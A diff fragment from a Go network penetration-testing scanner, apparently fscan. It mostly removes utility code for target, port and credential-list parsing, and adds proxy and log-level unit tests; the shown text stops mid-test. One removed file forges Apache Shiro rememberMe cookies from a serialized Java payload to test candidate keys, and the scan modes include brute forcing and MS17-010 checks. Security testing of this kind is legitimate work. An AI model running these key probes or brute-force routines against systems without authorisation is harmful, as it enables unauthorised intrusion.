||||
func ParseUrl(u *url.URL) *UrlType {
|
||||
nu := &UrlType{}
|
||||
nu.Scheme = u.Scheme
|
||||
nu.Domain = u.Hostname()
|
||||
nu.Host = u.Host
|
||||
nu.Port = u.Port()
|
||||
nu.Path = u.EscapedPath()
|
||||
nu.Query = u.RawQuery
|
||||
nu.Fragment = u.Fragment
|
||||
return nu
|
||||
}
|
||||
|
||||
func ParseRequest(oReq *http.Request) (*Request, error) {
|
||||
req := &Request{}
|
||||
req.Method = oReq.Method
|
||||
req.Url = ParseUrl(oReq.URL)
|
||||
header := make(map[string]string)
|
||||
for k := range oReq.Header {
|
||||
header[k] = oReq.Header.Get(k)
|
||||
}
|
||||
req.Headers = header
|
||||
req.ContentType = oReq.Header.Get("Content-Type")
|
||||
if oReq.Body == nil || oReq.Body == http.NoBody {
|
||||
} else {
|
||||
data, err := ioutil.ReadAll(oReq.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Body = data
|
||||
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func ParseResponse(oResp *http.Response) (*Response, error) {
|
||||
var resp Response
|
||||
header := make(map[string]string)
|
||||
resp.Status = int32(oResp.StatusCode)
|
||||
resp.Url = ParseUrl(oResp.Request.URL)
|
||||
for k := range oResp.Header {
|
||||
header[k] = strings.Join(oResp.Header.Values(k), ";")
|
||||
}
|
||||
resp.Headers = header
|
||||
resp.ContentType = oResp.Header.Get("Content-Type")
|
||||
body, err := getRespBody(oResp)
|
||||
resp.Body = body
|
||||
return &resp, err
|
||||
}
|
||||
|
||||
func getRespBody(oResp *http.Response) (body []byte, err error) {
|
||||
body, err = io.ReadAll(oResp.Body)
|
||||
if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
|
||||
reader, err1 := gzip.NewReader(bytes.NewReader(body))
|
||||
if err1 == nil {
|
||||
body, err = io.ReadAll(reader)
|
||||
}
|
||||
}
|
||||
if err == io.EOF {
|
||||
err = nil
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -1,73 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"io"
|
||||
|
||||
uuid "github.com/satori/go.uuid"
|
||||
)
|
||||
|
||||
var (
|
||||
CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
|
||||
Content, _ = base64.StdEncoding.DecodeString(CheckContent)
|
||||
)
|
||||
|
||||
func Padding(plainText []byte, blockSize int) []byte {
|
||||
//计算要填充的长度
|
||||
n := (blockSize - len(plainText)%blockSize)
|
||||
//对原来的明文填充n个n
|
||||
temp := bytes.Repeat([]byte{byte(n)}, n)
|
||||
plainText = append(plainText, temp...)
|
||||
return plainText
|
||||
}
|
||||
|
||||
func GetShrioCookie(key, mode string) string {
|
||||
if mode == "gcm" {
|
||||
return AES_GCM_Encrypt(key)
|
||||
} else {
|
||||
//cbc
|
||||
return AES_CBC_Encrypt(key)
|
||||
}
|
||||
}
|
||||
|
||||
//AES CBC加密后的payload
|
||||
func AES_CBC_Encrypt(shirokey string) string {
|
||||
key, err := base64.StdEncoding.DecodeString(shirokey)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
Content = Padding(Content, block.BlockSize())
|
||||
iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致
|
||||
blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象
|
||||
cipherText := make([]byte, len(Content))
|
||||
blockMode.CryptBlocks(cipherText, Content) //加密数据
|
||||
return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
|
||||
}
|
||||
|
||||
//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式
|
||||
func AES_GCM_Encrypt(shirokey string) string {
|
||||
key, err := base64.StdEncoding.DecodeString(shirokey)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
nonce := make([]byte, 16)
|
||||
_, err = io.ReadFull(rand.Reader, nonce)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
|
||||
ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
|
||||
return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
|
||||
}
|
||||
-273
@@ -1,273 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Parse(Info *HostInfo) {
|
||||
ParseUser()
|
||||
ParsePass(Info)
|
||||
ParseInput(Info)
|
||||
ParseScantype(Info)
|
||||
}
|
||||
|
||||
func ParseUser() {
|
||||
if Username == "" && Userfile == "" {
|
||||
return
|
||||
}
|
||||
var Usernames []string
|
||||
if Username != "" {
|
||||
Usernames = strings.Split(Username, ",")
|
||||
}
|
||||
|
||||
if Userfile != "" {
|
||||
users, err := Readfile(Userfile)
|
||||
if err == nil {
|
||||
for _, user := range users {
|
||||
if user != "" {
|
||||
Usernames = append(Usernames, user)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Usernames = RemoveDuplicate(Usernames)
|
||||
for name := range Userdict {
|
||||
Userdict[name] = Usernames
|
||||
}
|
||||
}
|
||||
|
||||
func ParsePass(Info *HostInfo) {
|
||||
var PwdList []string
|
||||
if Password != "" {
|
||||
passs := strings.Split(Password, ",")
|
||||
for _, pass := range passs {
|
||||
if pass != "" {
|
||||
PwdList = append(PwdList, pass)
|
||||
}
|
||||
}
|
||||
Passwords = PwdList
|
||||
}
|
||||
if Passfile != "" {
|
||||
passs, err := Readfile(Passfile)
|
||||
if err == nil {
|
||||
for _, pass := range passs {
|
||||
if pass != "" {
|
||||
PwdList = append(PwdList, pass)
|
||||
}
|
||||
}
|
||||
Passwords = PwdList
|
||||
}
|
||||
}
|
||||
if URL != "" {
|
||||
urls := strings.Split(URL, ",")
|
||||
TmpUrls := make(map[string]struct{})
|
||||
for _, url := range urls {
|
||||
if _, ok := TmpUrls[url]; !ok {
|
||||
TmpUrls[url] = struct{}{}
|
||||
if url != "" {
|
||||
Urls = append(Urls, url)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if UrlFile != "" {
|
||||
urls, err := Readfile(UrlFile)
|
||||
if err == nil {
|
||||
TmpUrls := make(map[string]struct{})
|
||||
for _, url := range urls {
|
||||
if _, ok := TmpUrls[url]; !ok {
|
||||
TmpUrls[url] = struct{}{}
|
||||
if url != "" {
|
||||
Urls = append(Urls, url)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if PortFile != "" {
|
||||
ports, err := Readfile(PortFile)
|
||||
if err == nil {
|
||||
newport := ""
|
||||
for _, port := range ports {
|
||||
if port != "" {
|
||||
newport += port + ","
|
||||
}
|
||||
}
|
||||
Info.Ports = newport
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func Readfile(filename string) ([]string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Printf("Open %s error, %v\n", filename, err)
|
||||
os.Exit(0)
|
||||
}
|
||||
defer file.Close()
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
content = append(content, scanner.Text())
|
||||
}
|
||||
}
|
||||
return content, nil
|
||||
}
|
||||
|
||||
func ParseInput(Info *HostInfo) {
|
||||
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
|
||||
fmt.Println("Host is none")
|
||||
flag.Usage()
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if BruteThread <= 0 {
|
||||
BruteThread = 1
|
||||
}
|
||||
|
||||
if TmpSave == true {
|
||||
IsSave = false
|
||||
}
|
||||
|
||||
if Info.Ports == DefaultPorts {
|
||||
Info.Ports += "," + Webport
|
||||
}
|
||||
|
||||
if PortAdd != "" {
|
||||
if strings.HasSuffix(Info.Ports, ",") {
|
||||
Info.Ports += PortAdd
|
||||
} else {
|
||||
Info.Ports += "," + PortAdd
|
||||
}
|
||||
}
|
||||
|
||||
if UserAdd != "" {
|
||||
user := strings.Split(UserAdd, ",")
|
||||
for a := range Userdict {
|
||||
Userdict[a] = append(Userdict[a], user...)
|
||||
Userdict[a] = RemoveDuplicate(Userdict[a])
|
||||
}
|
||||
}
|
||||
|
||||
if PassAdd != "" {
|
||||
pass := strings.Split(PassAdd, ",")
|
||||
Passwords = append(Passwords, pass...)
|
||||
Passwords = RemoveDuplicate(Passwords)
|
||||
}
|
||||
if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
||||
if !strings.Contains(Socks5Proxy, ":") {
|
||||
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
|
||||
} else {
|
||||
Socks5Proxy = "socks5://" + Socks5Proxy
|
||||
}
|
||||
}
|
||||
if Socks5Proxy != "" {
|
||||
fmt.Println("Socks5Proxy:", Socks5Proxy)
|
||||
_, err := url.Parse(Socks5Proxy)
|
||||
if err != nil {
|
||||
fmt.Println("Socks5Proxy parse error:", err)
|
||||
os.Exit(0)
|
||||
}
|
||||
NoPing = true
|
||||
}
|
||||
if Proxy != "" {
|
||||
if Proxy == "1" {
|
||||
Proxy = "http://127.0.0.1:8080"
|
||||
} else if Proxy == "2" {
|
||||
Proxy = "socks5://127.0.0.1:1080"
|
||||
} else if !strings.Contains(Proxy, "://") {
|
||||
Proxy = "http://127.0.0.1:" + Proxy
|
||||
}
|
||||
fmt.Println("Proxy:", Proxy)
|
||||
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
|
||||
fmt.Println("no support this proxy")
|
||||
os.Exit(0)
|
||||
}
|
||||
_, err := url.Parse(Proxy)
|
||||
if err != nil {
|
||||
fmt.Println("Proxy parse error:", err)
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
|
||||
if Hash != "" && len(Hash) != 32 {
|
||||
fmt.Println("[-] Hash is error,len(hash) must be 32")
|
||||
os.Exit(0)
|
||||
} else {
|
||||
var err error
|
||||
HashBytes, err = hex.DecodeString(Hash)
|
||||
if err != nil {
|
||||
fmt.Println("[-] Hash is error,hex decode error")
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ParseScantype(Info *HostInfo) {
|
||||
_, ok := PORTList[Scantype]
|
||||
if !ok {
|
||||
showmode()
|
||||
}
|
||||
if Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
|
||||
switch Scantype {
|
||||
case "wmiexec":
|
||||
Info.Ports = "135"
|
||||
case "wmiinfo":
|
||||
Info.Ports = "135"
|
||||
case "smbinfo":
|
||||
Info.Ports = "445"
|
||||
case "hostname":
|
||||
Info.Ports = "135,137,139,445"
|
||||
case "smb2":
|
||||
Info.Ports = "445"
|
||||
case "web":
|
||||
Info.Ports = Webport
|
||||
case "webonly":
|
||||
Info.Ports = Webport
|
||||
case "ms17010":
|
||||
Info.Ports = "445"
|
||||
case "cve20200796":
|
||||
Info.Ports = "445"
|
||||
case "portscan":
|
||||
Info.Ports = DefaultPorts + "," + Webport
|
||||
case "main":
|
||||
Info.Ports = DefaultPorts
|
||||
default:
|
||||
port, _ := PORTList[Scantype]
|
||||
Info.Ports = strconv.Itoa(port)
|
||||
}
|
||||
fmt.Println("-m ", Scantype, " start scan the port:", Info.Ports)
|
||||
}
|
||||
}
|
||||
|
||||
func CheckErr(text string, err error, flag bool) {
|
||||
if err != nil {
|
||||
fmt.Println("Parse", text, "error: ", err.Error())
|
||||
if flag {
|
||||
if err != ParseIPErr {
|
||||
fmt.Println(ParseIPErr)
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func showmode() {
|
||||
fmt.Println("The specified scan type does not exist")
|
||||
fmt.Println("-m")
|
||||
for name := range PORTList {
|
||||
fmt.Println(" [" + name + "]")
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -1,258 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var ParseIPErr = errors.New(" host parsing error\n" +
|
||||
"format: \n" +
|
||||
"192.168.1.1\n" +
|
||||
"192.168.1.1/8\n" +
|
||||
"192.168.1.1/16\n" +
|
||||
"192.168.1.1/24\n" +
|
||||
"192.168.1.1,192.168.1.2\n" +
|
||||
"192.168.1.1-192.168.255.255\n" +
|
||||
"192.168.1.1-255")
|
||||
|
||||
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
||||
hosts = ParseIPs(host)
|
||||
if filename != "" {
|
||||
var filehost []string
|
||||
filehost, _ = Readipfile(filename)
|
||||
hosts = append(hosts, filehost...)
|
||||
}
|
||||
|
||||
if len(nohosts) > 0 {
|
||||
nohost := nohosts[0]
|
||||
if nohost != "" {
|
||||
nohosts := ParseIPs(nohost)
|
||||
if len(nohosts) > 0 {
|
||||
temp := map[string]struct{}{}
|
||||
for _, host := range hosts {
|
||||
temp[host] = struct{}{}
|
||||
}
|
||||
|
||||
for _, host := range nohosts {
|
||||
delete(temp, host)
|
||||
}
|
||||
|
||||
var newDatas []string
|
||||
for host := range temp {
|
||||
newDatas = append(newDatas, host)
|
||||
}
|
||||
hosts = newDatas
|
||||
sort.Strings(hosts)
|
||||
}
|
||||
}
|
||||
}
|
||||
hosts = RemoveDuplicate(hosts)
|
||||
if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" {
|
||||
err = ParseIPErr
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ParseIPs(ip string) (hosts []string) {
|
||||
if strings.Contains(ip, ",") {
|
||||
IPList := strings.Split(ip, ",")
|
||||
var ips []string
|
||||
for _, ip := range IPList {
|
||||
ips = parseIP(ip)
|
||||
hosts = append(hosts, ips...)
|
||||
}
|
||||
} else {
|
||||
hosts = parseIP(ip)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
func parseIP(ip string) []string {
|
||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
||||
switch {
|
||||
// 扫描/8时,只扫网关和随机IP,避免扫描过多IP
|
||||
case strings.HasSuffix(ip, "/8"):
|
||||
return parseIP8(ip)
|
||||
//解析 /24 /16 /8 /xxx 等
|
||||
case strings.Contains(ip, "/"):
|
||||
return parseIP2(ip)
|
||||
//可能是域名,用lookup获取ip
|
||||
case reg.MatchString(ip):
|
||||
// _, err := net.LookupHost(ip)
|
||||
// if err != nil {
|
||||
// return nil
|
||||
// }
|
||||
return []string{ip}
|
||||
//192.168.1.1-192.168.1.100
|
||||
case strings.Contains(ip, "-"):
|
||||
return parseIP1(ip)
|
||||
//处理单个ip
|
||||
default:
|
||||
testIP := net.ParseIP(ip)
|
||||
if testIP == nil {
|
||||
return nil
|
||||
}
|
||||
return []string{ip}
|
||||
}
|
||||
}
|
||||
|
||||
// 把 192.168.x.x/xx 转换成 192.168.x.x-192.168.x.x
|
||||
func parseIP2(host string) (hosts []string) {
|
||||
_, ipNet, err := net.ParseCIDR(host)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
hosts = parseIP1(IPRange(ipNet))
|
||||
return
|
||||
}
|
||||
|
||||
// 解析ip段:
|
||||
//
|
||||
// 192.168.111.1-255
|
||||
// 192.168.111.1-192.168.112.255
|
||||
func parseIP1(ip string) []string {
|
||||
IPRange := strings.Split(ip, "-")
|
||||
testIP := net.ParseIP(IPRange[0])
|
||||
var AllIP []string
|
||||
if len(IPRange[1]) < 4 {
|
||||
Range, err := strconv.Atoi(IPRange[1])
|
||||
if testIP == nil || Range > 255 || err != nil {
|
||||
return nil
|
||||
}
|
||||
SplitIP := strings.Split(IPRange[0], ".")
|
||||
ip1, err1 := strconv.Atoi(SplitIP[3])
|
||||
ip2, err2 := strconv.Atoi(IPRange[1])
|
||||
PrefixIP := strings.Join(SplitIP[0:3], ".")
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return nil
|
||||
}
|
||||
for i := ip1; i <= ip2; i++ {
|
||||
AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i))
|
||||
}
|
||||
} else {
|
||||
SplitIP1 := strings.Split(IPRange[0], ".")
|
||||
SplitIP2 := strings.Split(IPRange[1], ".")
|
||||
if len(SplitIP1) != 4 || len(SplitIP2) != 4 {
|
||||
return nil
|
||||
}
|
||||
start, end := [4]int{}, [4]int{}
|
||||
for i := 0; i < 4; i++ {
|
||||
ip1, err1 := strconv.Atoi(SplitIP1[i])
|
||||
ip2, err2 := strconv.Atoi(SplitIP2[i])
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return nil
|
||||
}
|
||||
start[i], end[i] = ip1, ip2
|
||||
}
|
||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
||||
for num := startNum; num <= endNum; num++ {
|
||||
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
|
||||
AllIP = append(AllIP, ip)
|
||||
}
|
||||
}
|
||||
return AllIP
|
||||
}
|
||||
|
||||
// 获取起始IP、结束IP
|
||||
func IPRange(c *net.IPNet) string {
|
||||
start := c.IP.String()
|
||||
mask := c.Mask
|
||||
bcst := make(net.IP, len(c.IP))
|
||||
copy(bcst, c.IP)
|
||||
for i := 0; i < len(mask); i++ {
|
||||
ipIdx := len(bcst) - i - 1
|
||||
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
|
||||
}
|
||||
end := bcst.String()
|
||||
return fmt.Sprintf("%s-%s", start, end) //返回用-表示的ip段,192.168.1.0-192.168.255.255
|
||||
}
|
||||
|
||||
// 按行读ip
|
||||
func Readipfile(filename string) ([]string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Printf("Open %s error, %v", filename, err)
|
||||
os.Exit(0)
|
||||
}
|
||||
defer file.Close()
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line != "" {
|
||||
text := strings.Split(line, ":")
|
||||
if len(text) == 2 {
|
||||
port := strings.Split(text[1], " ")[0]
|
||||
num, err := strconv.Atoi(port)
|
||||
if err != nil || (num < 1 || num > 65535) {
|
||||
continue
|
||||
}
|
||||
hosts := ParseIPs(text[0])
|
||||
for _, host := range hosts {
|
||||
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
|
||||
}
|
||||
} else {
|
||||
host := ParseIPs(line)
|
||||
content = append(content, host...)
|
||||
}
|
||||
}
|
||||
}
|
||||
return content, nil
|
||||
}
|
||||
|
||||
// 去重
|
||||
func RemoveDuplicate(old []string) []string {
|
||||
result := []string{}
|
||||
temp := map[string]struct{}{}
|
||||
for _, item := range old {
|
||||
if _, ok := temp[item]; !ok {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func parseIP8(ip string) []string {
|
||||
realIP := ip[:len(ip)-2]
|
||||
testIP := net.ParseIP(realIP)
|
||||
|
||||
if testIP == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
IPrange := strings.Split(ip, ".")[0]
|
||||
var AllIP []string
|
||||
for a := 0; a <= 255; a++ {
|
||||
for b := 0; b <= 255; b++ {
|
||||
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 1))
|
||||
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 2))
|
||||
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 4))
|
||||
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 5))
|
||||
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(6, 55)))
|
||||
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(56, 100)))
|
||||
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(101, 150)))
|
||||
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(151, 200)))
|
||||
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(201, 253)))
|
||||
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 254))
|
||||
}
|
||||
}
|
||||
return AllIP
|
||||
}
|
||||
|
||||
func RandInt(min, max int) int {
|
||||
if min >= max || min == 0 || max == 0 {
|
||||
return max
|
||||
}
|
||||
return rand.Intn(max-min) + min
|
||||
}
|
||||
@@ -1,55 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func ParsePort(ports string) (scanPorts []int) {
|
||||
if ports == "" {
|
||||
return
|
||||
}
|
||||
slices := strings.Split(ports, ",")
|
||||
for _, port := range slices {
|
||||
port = strings.TrimSpace(port)
|
||||
if port == "" {
|
||||
continue
|
||||
}
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
continue
|
||||
}
|
||||
|
||||
startPort, _ := strconv.Atoi(ranges[0])
|
||||
endPort, _ := strconv.Atoi(ranges[1])
|
||||
if startPort < endPort {
|
||||
port = ranges[0]
|
||||
upper = ranges[1]
|
||||
} else {
|
||||
port = ranges[1]
|
||||
upper = ranges[0]
|
||||
}
|
||||
}
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
scanPorts = removeDuplicate(scanPorts)
|
||||
return scanPorts
|
||||
}
|
||||
|
||||
func removeDuplicate(old []int) []int {
|
||||
result := []int{}
|
||||
temp := map[int]struct{}{}
|
||||
for _, item := range old {
|
||||
if _, ok := temp[item]; !ok {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
func TestGetLogLevelFromString(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
input string
|
||||
expected logging.LogLevel
|
||||
}{
|
||||
// 标准情况
|
||||
{"all lowercase", "all", logging.LevelAll},
|
||||
{"ALL uppercase", "ALL", logging.LevelAll},
|
||||
{"error lowercase", "error", logging.LevelError},
|
||||
{"ERROR uppercase", "ERROR", logging.LevelError},
|
||||
{"base lowercase", "base", logging.LevelBase},
|
||||
{"BASE uppercase", "BASE", logging.LevelBase},
|
||||
{"info lowercase", "info", logging.LevelInfo},
|
||||
{"INFO uppercase", "INFO", logging.LevelInfo},
|
||||
{"success lowercase", "success", logging.LevelSuccess},
|
||||
{"SUCCESS uppercase", "SUCCESS", logging.LevelSuccess},
|
||||
{"debug lowercase", "debug", logging.LevelDebug},
|
||||
{"DEBUG uppercase", "DEBUG", logging.LevelDebug},
|
||||
|
||||
// 组合情况
|
||||
{"info,success", "info,success", logging.LevelInfoSuccess},
|
||||
{"base,info,success", "base,info,success", logging.LevelBaseInfoSuccess},
|
||||
{"BASE_INFO_SUCCESS", "BASE_INFO_SUCCESS", logging.LevelBaseInfoSuccess},
|
||||
|
||||
// 边界情况
|
||||
{"empty string", "", logging.LevelInfoSuccess},
|
||||
{"unknown value", "unknown", logging.LevelInfoSuccess},
|
||||
{"random string", "foobar", logging.LevelInfoSuccess},
|
||||
{"mixed case", "InFo", logging.LevelInfo}, // ToLower后匹配"info"
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := getLogLevelFromString(tt.input)
|
||||
if result != tt.expected {
|
||||
t.Errorf("getLogLevelFromString(%q) = %v, want %v", tt.input, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateProxyConfig(t *testing.T) {
|
||||
fv := GetFlagVars()
|
||||
// 保存原始值并在测试后恢复
|
||||
origSocks5 := fv.Socks5Proxy
|
||||
origHTTP := fv.HTTPProxy
|
||||
defer func() {
|
||||
fv.Socks5Proxy = origSocks5
|
||||
fv.HTTPProxy = origHTTP
|
||||
}()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
socks5Proxy string
|
||||
httpProxy string
|
||||
timeout time.Duration
|
||||
expectedType proxy.ProxyType
|
||||
expectedAddr string
|
||||
expectedUser string
|
||||
expectedPass string
|
||||
}{
|
||||
{
|
||||
name: "no proxy",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeNone,
|
||||
expectedAddr: "",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 simple address",
|
||||
socks5Proxy: "127.0.0.1:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with protocol prefix",
|
||||
socks5Proxy: "socks5://127.0.0.1:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with auth",
|
||||
socks5Proxy: "socks5://user:[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "socks5 with auth no protocol",
|
||||
socks5Proxy: "user:[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "http proxy simple",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "http://127.0.0.1:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTP,
|
||||
expectedAddr: "127.0.0.1:8080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "https proxy",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "https://127.0.0.1:8443",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTPS,
|
||||
expectedAddr: "127.0.0.1:8443",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "http proxy with auth",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "http://user:[email protected]:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTP,
|
||||
expectedAddr: "127.0.0.1:8080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "socks5 priority over http",
|
||||
socks5Proxy: "127.0.0.1:1080",
|
||||
httpProxy: "http://127.0.0.1:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with username only",
|
||||
socks5Proxy: "socks5://[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// 设置FlagVars
|
||||
fv.Socks5Proxy = tt.socks5Proxy
|
||||
